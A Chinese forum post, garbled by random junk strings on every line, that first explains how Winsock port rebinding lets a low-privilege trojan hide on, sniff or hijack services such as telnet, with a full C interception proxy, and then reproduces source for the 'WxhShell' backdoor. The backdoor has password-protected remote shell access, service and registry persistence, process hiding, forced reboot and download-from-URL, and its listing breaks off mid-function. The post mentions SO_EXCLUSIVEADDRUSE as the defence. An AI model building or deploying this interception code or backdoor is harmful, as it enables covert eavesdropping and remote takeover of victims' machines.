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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jSjC43lh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z5t^D|  
@&?(XY 'M%  
  saddr.sin_family = AF_INET; }uma<b  
Y%;J/4dd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .Y6v#VI  
S<7!<]F-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e]VW\ 6J&  
c^I^jg2v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Bz/ba *  
7(}'jZ  
  这意味着什么?意味着可以进行如下的攻击: Y"lEMY  
Ph yIea  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 35l%iaj]G5  
/ZyMD(_J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,IB\1#  
DQGrXMpV0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FO*Gc Z  
}||u {[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {&+M.Xn  
0`"oR3JY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;t0 q ?9  
NVRzthg%c_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^]sb=Amw  
e,|gr"$/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /3M8 ;>@u  
5n?P}kca)  
  #include 4x6n,:;  
  #include *QQeK# $s  
  #include /0}Z>i K  
  #include    x=cucZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i D9 */  
  int main() ]In7%Qb  
  { W yM1s+@  
  WORD wVersionRequested; q=pRe-{  
  DWORD ret; jJIP $  
  WSADATA wsaData; D% jGK  
  BOOL val; G4'Ia$  
  SOCKADDR_IN saddr; pa46,q&M  
  SOCKADDR_IN scaddr; ah*{NR)  
  int err; {dZ]+2Z~+  
  SOCKET s; ~B|m"qY{i  
  SOCKET sc; 'i%r  
  int caddsize; OjhX:{"59  
  HANDLE mt; t+a.,$U  
  DWORD tid;   ^i|R6oO_5  
  wVersionRequested = MAKEWORD( 2, 2 );  %W~w\mT  
  err = WSAStartup( wVersionRequested, &wsaData ); SV o?o|<  
  if ( err != 0 ) { x/?ET1iGt  
  printf("error!WSAStartup failed!\n"); 36Lkcda[  
  return -1; 1(@$bsgu2  
  } ~vA{I%z5~  
  saddr.sin_family = AF_INET; !S=YM<Ad  
   \2kLj2!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &%rM|  
l Xa/5QKC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wF`Y ,@  
  saddr.sin_port = htons(23); R%KF/1;/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b*Y Wd3  
  { @Fc:9a@  
  printf("error!socket failed!\n"); US$$ADq  
  return -1; @dv8 F "v  
  } Dnd; N/9  
  val = TRUE; 0BDw}E\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T3fQ #p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (ODwdN7;  
  { JwbZ`Z*w  
  printf("error!setsockopt failed!\n"); !p+54w\ 2  
  return -1; 5TJd9:\Af  
  } bY#BK_8 :  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Dy.i^`7\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MS\vrq'_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?=9'?K/~a  
4`i8m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )I&.6l!#  
  { ~)f^y!PMQ  
  ret=GetLastError(); ./ {79  
  printf("error!bind failed!\n"); Kn:Ml4[;  
  return -1; U5kKT.M  
  } ['o ueOg  
  listen(s,2); 94-BcN  
  while(1) +4-T_m/W/  
  { Nbr$G=U  
  caddsize = sizeof(scaddr); 4fs d5#  
  //接受连接请求 'yPKQ/y$x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l(NQk> w  
  if(sc!=INVALID_SOCKET) XSC=qg$  
  { Z$/76  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;~<To9O  
  if(mt==NULL) KFbB}oId  
  { 3'.@aMA@  
  printf("Thread Creat Failed!\n"); bVUIeX'  
  break; n/skDx TE  
  } #B5,k|"/,M  
  } o{y}c->  
  CloseHandle(mt); Wa|V~PL+T  
  } d9$RmCHe}  
  closesocket(s); K\2{SjL:B  
  WSACleanup(); UiG/Rn  
  return 0; ZMQ=D!kT  
  }   r>fGj\#R =  
  DWORD WINAPI ClientThread(LPVOID lpParam) {]+t<  
  { SyVGm@  
  SOCKET ss = (SOCKET)lpParam; Wu{=QjgY  
  SOCKET sc; o*H U^  
  unsigned char buf[4096]; >>J3"XHX  
  SOCKADDR_IN saddr; 5(H%Ia  
  long num; upuN$4m&{  
  DWORD val; zzZ EX  
  DWORD ret; C=+9XfP0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I5M\PK/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KzVi:Hm  
  saddr.sin_family = AF_INET; ^;_~ mq.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~snj92K  
  saddr.sin_port = htons(23); L"&T3i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z8 v8@Y  
  { g[G /If  
  printf("error!socket failed!\n"); ^0.8-RT  
  return -1; 7Jlkn=9e:  
  } a%r!55.   
  val = 100; BI:Cm/ >  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W q<t+E[  
  { ,Iyc0  
  ret = GetLastError(); 6&x\!+]F8  
  return -1; tkctwjD  
  } /Q3>w-h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~W21%T+  
  { - UkK$wP5  
  ret = GetLastError(); c;kU|_  
  return -1; m,Y/ke\  
  } ZK]qQrIwy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {J==y;dK  
  { ==[(Mn,%d  
  printf("error!socket connect failed!\n"); J|BElBY  
  closesocket(sc); ^^V3nT2rR3  
  closesocket(ss); 4<-Kd~uL  
  return -1; eS!]..%y  
  } 6o^>q&e}%  
  while(1) -{0Pq.v  
  { |E >h*Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,4H? +|!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WhW}ZS'r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bJ_rU35s>  
  num = recv(ss,buf,4096,0); aLh(8;$  
  if(num>0) sYS 8]JU  
  send(sc,buf,num,0); #p(c{L!  
  else if(num==0) t,9+G<)>H  
  break; 2V@5:tf  
  num = recv(sc,buf,4096,0); *5PQ>d G  
  if(num>0) naaKAZ!S  
  send(ss,buf,num,0); |<c9ZS+  
  else if(num==0) ,7s>#b'  
  break; b23A&1X  
  } n0=]C%wr  
  closesocket(ss); &|XgWZS5  
  closesocket(sc); ATkd#k%S  
  return 0 ; nG'Yo8I^5  
  } B!Wp=9)G  
%"f85VfZ  
9Q1%+zjjMq  
========================================================== sg,\!'  
`&A`&-nc=  
下边附上一个代码,,WXhSHELL ,w~3K%B4  
1x_EAHZ>7  
========================================================== U:*rlA@_.  
rT` sY  
#include "stdafx.h" xq;>||B  
>2s6Y  
#include <stdio.h> :=B.)]F.)  
#include <string.h> E.*hY+kGZ  
#include <windows.h> vt5w(}v(  
#include <winsock2.h> wG)e8,#  
#include <winsvc.h> a Y)vi$;]  
#include <urlmon.h> c$  /.Xp  
^dpM2$J  
#pragma comment (lib, "Ws2_32.lib") w<B S  
#pragma comment (lib, "urlmon.lib") 'aEK{#en  
TIJH} Ri  
#define MAX_USER   100 // 最大客户端连接数 $}(Z]z}O;  
#define BUF_SOCK   200 // sock buffer :Hq%y/  
#define KEY_BUFF   255 // 输入 buffer ^P9mJ:  
k\O<pG[U  
#define REBOOT     0   // 重启 Kk}, PU=  
#define SHUTDOWN   1   // 关机 ahXcQ9jzFi  
KRxJ2  
#define DEF_PORT   5000 // 监听端口 ?>+uO0*S  
={xRNNUj_  
#define REG_LEN     16   // 注册表键长度 "#E Z  
#define SVC_LEN     80   // NT服务名长度 #+o$Tg  
zCJ"O9G<V  
// 从dll定义API &Z~_BT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d[?RL&hJO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4vL\t uoz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O + aK#eF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qVh?%c1.Y  
MX]#|hEeQ  
// wxhshell配置信息 Lz1KDXr`)+  
struct WSCFG { _t-6m2A  
  int ws_port;         // 监听端口 h~Ir= JV  
  char ws_passstr[REG_LEN]; // 口令 |$/#,Dv7  
  int ws_autoins;       // 安装标记, 1=yes 0=no g R!hN.I  
  char ws_regname[REG_LEN]; // 注册表键名 :WWHEZK  
  char ws_svcname[REG_LEN]; // 服务名 h.?<( I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ky|kg@n{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;}6wj@8He  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L&+k`b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0i}.l\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bDDP:INm.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y"t|0dO%b  
dXDyY  
}; q2xAx1R`sV  
<,DMD  
// default Wxhshell configuration t? &;   
struct WSCFG wscfg={DEF_PORT, aO$0[-A  
    "xuhuanlingzhe", _8$xsj4_  
    1, 06HU6d ,  
    "Wxhshell", dUB;ZB7  
    "Wxhshell", YN)qMI_ `A  
            "WxhShell Service", Bj{J&{  
    "Wrsky Windows CmdShell Service", z>+CMH5L)  
    "Please Input Your Password: ", F lVG,Z  
  1, M5*Ln-qt(a  
  "http://www.wrsky.com/wxhshell.exe", lFuW8G,-f@  
  "Wxhshell.exe" k @fxs]Y_L  
    }; )r"R  
Z<|x6%  
// 消息定义模块 B[mZQ&Gz`a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vV"YgN:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L2Cb/!z`c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?4%#myO3a  
char *msg_ws_ext="\n\rExit."; .&5 3sJ0{  
char *msg_ws_end="\n\rQuit."; A PSkW9H  
char *msg_ws_boot="\n\rReboot..."; kK6t|Yn&  
char *msg_ws_poff="\n\rShutdown..."; IHW s<U  
char *msg_ws_down="\n\rSave to "; i= ^6nwD&  
vZQraY nJ  
char *msg_ws_err="\n\rErr!"; 0xi2VN"X  
char *msg_ws_ok="\n\rOK!"; `!X8Cn  
~rrl" a>  
char ExeFile[MAX_PATH]; WTD86A  
int nUser = 0; iPCn-DoIS  
HANDLE handles[MAX_USER]; 'xuxMav6m  
int OsIsNt; w?_'sP{pd  
fvta<  
SERVICE_STATUS       serviceStatus; }x6)}sz7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "w 4^i!\  
LTx,oa:ma  
// 函数声明 @}^VA9ULK  
int Install(void); ~2[kCuu  
int Uninstall(void); T g(\7Kq  
int DownloadFile(char *sURL, SOCKET wsh); e2%mD.I  
int Boot(int flag); 0f_`;{  
void HideProc(void); GS>YfJ&DZ  
int GetOsVer(void); .5SYN -@  
int Wxhshell(SOCKET wsl); @(6P L^I  
void TalkWithClient(void *cs); _TdH6[9  
int CmdShell(SOCKET sock); v"Bm4+c&0  
int StartFromService(void); gr!!pp;  
int StartWxhshell(LPSTR lpCmdLine); uu-M7>+  
0WZd$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  ^[I> #U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yz>S($u  
/^K-tz-R  
// 数据结构和表定义 \0i0#Dt9  
SERVICE_TABLE_ENTRY DispatchTable[] = ;fQIaE&H  
{ "\lO Op^-  
{wscfg.ws_svcname, NTServiceMain}, *k&V;?x|wt  
{NULL, NULL} 6[FXgCb  
}; <D&  Ep  
{qSMJja!t  
// 自我安装 s{c|J#s  
int Install(void) %IIFLlD  
{ iig4JP'h  
  char svExeFile[MAX_PATH]; x*j eCD,  
  HKEY key; //3fgoly  
  strcpy(svExeFile,ExeFile); `"V}Wq ?I  
-jNnx*  
// 如果是win9x系统,修改注册表设为自启动 1uyd+*/(xP  
if(!OsIsNt) { _b)Ie`a.H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hBz>E 4mEv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .i;?8?  
  RegCloseKey(key); DgRn^gL{Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L;Ynq<x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @}r s6 G  
  RegCloseKey(key); Nw ,|4S  
  return 0; <}xgp[O  
    } qs8^qn0A  
  } ^\S~rW.3_  
} ~4#D G^5  
else { M`iE'x  
[\0>@j}Z  
// 如果是NT以上系统,安装为系统服务 -:!Wds  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r|z B?9Q  
if (schSCManager!=0) 0e:j=kd)NH  
{ 6h) &h1Yd  
  SC_HANDLE schService = CreateService c<Ud[x.  
  ( qm9=Ga5  
  schSCManager, j:8Pcx  
  wscfg.ws_svcname, k8+U0J_{'  
  wscfg.ws_svcdisp, SEWdhthP  
  SERVICE_ALL_ACCESS, F *U.cJ%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =pj3G?F#  
  SERVICE_AUTO_START, zII^Ny8D  
  SERVICE_ERROR_NORMAL, zt  
  svExeFile, ;S&anC#E  
  NULL, 2H] 7=j  
  NULL, I !lR 7%  
  NULL, M`9|8f,!a  
  NULL, iTT7<x  
  NULL ym` 4v5w  
  ); wSZMHIW  
  if (schService!=0) 4UPxV"H  
  { RA){\~@wC  
  CloseServiceHandle(schService); AYsHA w   
  CloseServiceHandle(schSCManager); j5smmtM`s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jh4pY#aF  
  strcat(svExeFile,wscfg.ws_svcname); Gy6x.GX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YoK )fh$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GUJ?6;  
  RegCloseKey(key); WFmW[< g  
  return 0; 3:c6x kaw  
    } 4kK_S.&  
  } V~-tp^  
  CloseServiceHandle(schSCManager); %5n'+-XVj  
} p&2d&;Qo0  
} 8h=K S   
s|[qq7  
return 1; 6 !Mm")  
} qd'Z|'j  
soLmr's  
// 自我卸载 V HLNJnA  
int Uninstall(void) bx-:aC)]2  
{ _$8:\[J  
  HKEY key; IO2@^jup  
oe=1[9T"  
if(!OsIsNt) { o>]z~^c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m*lcIa  
  RegDeleteValue(key,wscfg.ws_regname); M D& 7k,!  
  RegCloseKey(key); EACI>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F0kAQgUv  
  RegDeleteValue(key,wscfg.ws_regname); V1Gnr~GM  
  RegCloseKey(key); aM_O0Rn==  
  return 0; }P\6}cK  
  } 3".#nN  
} d\c)cgh%  
} <1QXZfQ"  
else { ]{t!J^Xn  
HRCnjem/v\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); * ]D{[hV  
if (schSCManager!=0) YB:}L b  
{ Jt}#,I,B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~g@}A  
  if (schService!=0) M[u6+`  
  { ]$-<< N{}'  
  if(DeleteService(schService)!=0) { N>)Db  
  CloseServiceHandle(schService); : Hu {MN\  
  CloseServiceHandle(schSCManager); i{Du6j^j  
  return 0; gC_KT,=H;  
  } N&$ ,uhmO  
  CloseServiceHandle(schService); {#pw rWG  
  } >4+KEK  
  CloseServiceHandle(schSCManager); h$6~3^g:P  
} 0x^lHBYc  
} 5x,/p  
hL}ZPHA  
return 1; cT;Zz5  
} *|@386\  
$e  uI  
// 从指定url下载文件 /wP2Wnq$  
int DownloadFile(char *sURL, SOCKET wsh) =u.23#.  
{ Nz; \PS  
  HRESULT hr; z"Cyjmg"  
char seps[]= "/"; O{U j  
char *token; `'pAiu  
char *file; a#9pN?~  
char myURL[MAX_PATH]; p|BoEITL  
char myFILE[MAX_PATH]; %E [HMq<H  
U: )Gc  
strcpy(myURL,sURL); k7cY^&o  
  token=strtok(myURL,seps); ^oW{N  
  while(token!=NULL) zW)Wt.svP  
  { &$l#0?Kc^  
    file=token; M23r/eg]  
  token=strtok(NULL,seps); sN#ju5  
  } vF[ 4kDHk  
6mgLeeY  
GetCurrentDirectory(MAX_PATH,myFILE); mGkQx -|  
strcat(myFILE, "\\"); uW!saT5o  
strcat(myFILE, file); #nAq~@X  
  send(wsh,myFILE,strlen(myFILE),0); ;&O *KhLH  
send(wsh,"...",3,0); +B&+FGfNU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~sq@^<M)s  
  if(hr==S_OK) ?a1pO#{Dg  
return 0; 6)20%*[  
else +m/n~-6q  
return 1; M9Nr/jE  
:l?mNm5  
} 2. {/ls  
TgHUH>k  
// 系统电源模块 ]M'~uTf  
int Boot(int flag) 6}|h  
{ ~-R2mAUK  
  HANDLE hToken; K{B|  
  TOKEN_PRIVILEGES tkp; e,W,NnCICj  
"7j E&I  
  if(OsIsNt) { 4G XS(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <z>oY2%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XGjFb4Tw7  
    tkp.PrivilegeCount = 1; {OOn7=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ \o)-3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tvq((2  
if(flag==REBOOT) { #l7v|)9v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B<a` o&?  
  return 0; `46.!  
} GJs~aRiz  
else { (vvD<S*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @X560_x[q  
  return 0; f$vTDak  
} k1s5cg=n(  
  } >Q?8tGfB  
  else { :M<] 6o  
if(flag==REBOOT) { [9#zE URS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )OVa7[-T  
  return 0; & d$X:  
} vbZ!NO!H  
else { S2nX{=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c& bms)Jwa  
  return 0; 5}Xi`'g,  
} NSH4 @x  
} ~-B+7  
1MT,A_L  
return 1; f*9O39&|  
} 7q 5 *grm  
Z&P\}mm   
// win9x进程隐藏模块 mVh;=>8K  
void HideProc(void) BBv+*jj  
{ "^a"`?J  
Uqy/~n-v<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e0otr_)3F  
  if ( hKernel != NULL ) %~P T7"4  
  { %H,s~IU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D{[{&1\)r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l=(( >^i  
    FreeLibrary(hKernel); ek0!~v<I  
  } kRBO]  
=;b3i1'U  
return; qd#7A ksm  
} ,VSO;:Z  
c"pOi&  
// 获取操作系统版本 Mw)6,O`  
int GetOsVer(void) cUdS{K&K  
{ J_m@YkK  
  OSVERSIONINFO winfo; $ ]#WC\Hv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); As`=K$^Il.  
  GetVersionEx(&winfo); CH;U_b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^w2 HF  
  return 1; n;Q8Gg2U  
  else cDE5/!  
  return 0; !\9^|Ef?  
} P=\{  
P".IW.^kk~  
// 客户端句柄模块 4v3gpLH  
int Wxhshell(SOCKET wsl) ;ko6igx)+  
{ )5gj0#|CG@  
  SOCKET wsh; 7')W+`o8eL  
  struct sockaddr_in client; ,]W|"NUI  
  DWORD myID; G -+!h4p  
slUi)@b  
  while(nUser<MAX_USER) -B&(& R  
{ gZ7R^] k  
  int nSize=sizeof(client); UxzF5V5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2Q5@2jT  
  if(wsh==INVALID_SOCKET) return 1; Hbd>sS  
w`V6vYd@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KAI2[ gs  
if(handles[nUser]==0) ;FRUB@:  
  closesocket(wsh); _vDmiIn6K  
else 1EEcNtpub]  
  nUser++; NRx I?v  
  } -)VjjKz]8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lhe&  
{uoF5|O6K  
  return 0; s.Ai _D  
} 6$'*MpYF4  
0<NS1y  
// 关闭 socket 4OpzGZ4+  
void CloseIt(SOCKET wsh) *X2PT(e[  
{ %A=/(%T>  
closesocket(wsh); T,1qR: 58  
nUser--; +>K&zS  
ExitThread(0); i/1$uQ  
} >7%T%2N  
G8klWZAJ  
// 客户端请求句柄 f:<BUqa  
void TalkWithClient(void *cs) f17E2^(I(}  
{ }^ ,D~b-nB  
31alQ\TH  
  SOCKET wsh=(SOCKET)cs; r]Wt!oHm5  
  char pwd[SVC_LEN]; R_KDY  
  char cmd[KEY_BUFF]; e5P9P%1w  
char chr[1]; ipbhjK$  
int i,j; fx[&"$X  
k_7b0 dr%F  
  while (nUser < MAX_USER) { }6/M5zF3  
H>+])~#  
if(wscfg.ws_passstr) { fe98 Y-e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X3 kFJ{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F}ATY!  
  //ZeroMemory(pwd,KEY_BUFF); )`f-qTe  
      i=0; ~ILv*v@m  
  while(i<SVC_LEN) { >19s:+  
\\#D!q*  
  // 设置超时 5P"R'/[PA_  
  fd_set FdRead; Kq-1  b  
  struct timeval TimeOut; n9}BT^4 v  
  FD_ZERO(&FdRead); Vb\g49\o/  
  FD_SET(wsh,&FdRead); 2a eH^:u  
  TimeOut.tv_sec=8; /}8Au$nA  
  TimeOut.tv_usec=0; ,.cR@5qI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _G/ R;N71  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jgIG";:Q  
m{ !$_z8:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !ZH "$m|  
  pwd=chr[0]; $sda'L5^p  
  if(chr[0]==0xd || chr[0]==0xa) { #NYnZ^6e  
  pwd=0; : #CWiq("%  
  break; "5~?`5Ff  
  } ;'8P/a$  
  i++; d\]KG(T  
    } @ztT1?!e  
S3Gr}N  
  // 如果是非法用户,关闭 socket @qp6Y_,E[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZZI} Ot{  
} @Xl(A]w%!  
s.i9&1Y-!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WF~BCP$OR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z}u`45W+  
w a(Y[]V  
while(1) { [,AFtg[  
 &kmaKc  
  ZeroMemory(cmd,KEY_BUFF);  t8EI"|  
DX>LB$dy?  
      // 自动支持客户端 telnet标准   S W%>8  
  j=0; bXF8V  
  while(j<KEY_BUFF) { c-XO}\?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K}re{y  
  cmd[j]=chr[0]; |kPgXq6  
  if(chr[0]==0xa || chr[0]==0xd) { |7c],SHm  
  cmd[j]=0; -EP1Rl`\  
  break; M*gvYo  
  } ue@/o,C>  
  j++; 9S@x  
    } C78g|n{  
qm!oJL  
  // 下载文件 V=8db% ^  
  if(strstr(cmd,"http://")) { (c0L H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +?U[362>  
  if(DownloadFile(cmd,wsh)) %"Um8`]FVg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P(k*SB|D  
  else $`3yImv+w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z%3CmKdeF  
  } 0<!9D):Bb  
  else { q& -mbWBj  
PljPhAce  
    switch(cmd[0]) { #RR;?`,L}  
  L?N&kzA  
  // 帮助 aj;x:UqpJ  
  case '?': { oLKliA=q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M^:JhX{  
    break; x;u#ec4  
  } r4SwvxhG  
  // 安装 N)g_LL>^  
  case 'i': { $J4\jIipL  
    if(Install()) ~ O\A 0e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VtLRl0/  
    else :k1?I'q%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -#f.}H'  
    break; TF :'6#p  
    } hb3:,c(  
  // 卸载 g@>llve{  
  case 'r': { '=E;^'Rl  
    if(Uninstall()) 3oLF^^^g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kiM:(=5  
    else LP#wE~K"b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eu(Qe ST\  
    break; INbV6jZL  
    } D}y W:Pi'  
  // 显示 wxhshell 所在路径 ZDmL?mC  
  case 'p': { y7F |v8bq  
    char svExeFile[MAX_PATH]; 90W= v*  
    strcpy(svExeFile,"\n\r"); }[JB%  
      strcat(svExeFile,ExeFile); 9 fB|e|  
        send(wsh,svExeFile,strlen(svExeFile),0); ' 9f0UtT|[  
    break; >va_,Y}  
    } =fRS UtX  
  // 重启 aJ(/r.1G  
  case 'b': { Y`j$7!j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L'{W|Xb+  
    if(Boot(REBOOT)) c<|y/n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (7G4v  
    else { E42)93~C  
    closesocket(wsh); rt*x[5<  
    ExitThread(0); 8 8_ef7w  
    } Bu=1-8@=qs  
    break; Li5&^RAo|J  
    } .|[{$&B  
  // 关机 YgcW1}  
  case 'd': { eWAD;x?.  
